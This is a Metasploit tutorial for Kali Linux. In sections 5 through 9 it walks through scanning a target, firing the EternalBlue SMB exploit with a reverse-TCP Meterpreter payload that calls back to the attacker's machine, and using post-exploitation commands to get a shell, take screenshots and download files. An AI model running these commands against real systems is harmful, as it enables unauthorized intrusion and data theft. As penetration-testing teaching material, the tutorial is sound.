Metasploit on Kali Linux

Metasploit on Kali Linux: A Step-by-Step Tutorial

Disclaimer: This tutorial is intended for educational purposes only. Always ensure you have explicit permission to perform penetration testing on any network or system. Unauthorized access to computer systems is illegal and unethical.


Table of Contents

  1. Introduction to Metasploit

  2. Setting Up the Environment

  3. Starting Metasploit Framework

  4. Basic Commands in Metasploit

  5. Scanning and Enumerating Targets

  6. Selecting and Configuring Exploits

  7. Choosing and Configuring Payloads

  8. Executing the Exploit

  9. Post-Exploitation with Meterpreter

  10. Closing the Session and Exiting Metasploit

  11. Best Practices and Ethical Considerations


1. Introduction to Metasploit

Metasploit Framework is a powerful tool used by cybersecurity professionals for penetration testing and vulnerability assessments. It provides a suite of tools for simulating attacks on networks and systems to identify security weaknesses.

2. Setting Up the Environment

Prerequisites

  • Kali Linux installed on your machine (bare-metal, virtual machine, or live boot).

  • Basic understanding of networking and command-line interface.

Updating Kali Linux

Before starting, ensure your system is up-to-date:

sudo apt update && sudo apt upgrade -y

3. Starting Metasploit Framework

Metasploit comes pre-installed on Kali Linux.

To start the Metasploit console:

  1. Open a terminal window.

  2. Initialize the PostgreSQL database (required for Metasploit):

    sudo service postgresql start
  3. Start the Metasploit console:

    sudo msfconsole

You should see the Metasploit banner and the msf> prompt.

You can also find it by navigating in the Kali Linux menu system.

4. Basic Commands in Metasploit

Familiarize yourself with some basic commands:

  • help: Displays help menu with a list of commands.

    msf> help
  • version: Shows the current version of Metasploit.

    msf> version
  • search: Searches for exploits, payloads, and modules.

    msf> search smb
  • use: Selects a module to use.

    msf> use exploit/windows/smb/ms17_010_eternalblue
  • show options: Displays options for the selected module.

    msf> show options

5. Scanning and Enumerating Targets

Before exploiting, gather information about the target.

Using Nmap within Metasploit

  1. Run Nmap scan:

    msf> db_nmap -sV -O 192.168.1.10

    Replace 192.168.1.10 with the target IP address.

  2. View the scanned hosts:

    msf> hosts
  3. List open services and ports:

    msf> services

6. Selecting and Configuring Exploits

Searching for Exploits

  1. Use the search command with relevant keywords:

    msf> search type:exploit name:smb

Selecting an Exploit

  1. Choose an exploit module:

    msf> use exploit/windows/smb/ms17_010_eternalblue
  2. View exploit options:

    msf> show options

Setting Exploit Options

  1. Set the target IP address:

    msf> set RHOSTS 192.168.1.10
  2. Confirm the options are set:

    msf> show options

7. Choosing and Configuring Payloads

Listing Available Payloads

  1. Show compatible payloads:

    msf> show payloads

Selecting a Payload

  1. Choose a payload (e.g., reverse TCP shell):

    msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
  2. Set the local host IP (your machine's IP):

    msf> set LHOST 192.168.1.5

    Replace 192.168.1.5 with your Kali Linux IP address.

  3. (Optional) Set the local port:

    msf> set LPORT 4444

8. Executing the Exploit

  1. Run the exploit:

    msf> exploit

    Metasploit will attempt to exploit the target and establish a Meterpreter session.

9. Post-Exploitation with Meterpreter

Once a session is established, you can interact with the target system.

Basic Meterpreter Commands

  • sysinfo: Displays system information.

    meterpreter> sysinfo
  • getuid: Shows user ID.

    meterpreter> getuid
  • shell: Drops into a shell on the target system.

    meterpreter> shell
  • screenshot: Takes a screenshot of the target desktop.

    meterpreter> screenshot
  • download: Downloads a file from the target system.

    meterpreter> download C:\\path\\to\\file.txt

Exiting Meterpreter

  • exit: Closes the Meterpreter session.

    meterpreter> exit

10. Closing the Session and Exiting Metasploit

  1. List active sessions:

    msf> sessions -l
  2. Interact with a session:

    msf> sessions -i [session_id]
  3. Close a session:

    msf> sessions -k [session_id]
  4. Exit Metasploit:

    msf> exit

11. Best Practices and Ethical Considerations

  • Legal Authorization: Always obtain written permission before performing any penetration testing.

  • Ethical Responsibility: Use Metasploit to improve security, not to exploit vulnerabilities for malicious purposes.

  • Confidentiality: Keep any sensitive data obtained during testing confidential.

  • Reporting: Provide detailed reports of your findings to the appropriate parties to help remediate vulnerabilities.

  • Continuous Learning: Stay updated with the latest security trends and Metasploit modules.


Note: Always remember the importance of legality and ethics in cybersecurity work. Use these skills responsibly to contribute to a safer digital environment.

Last updated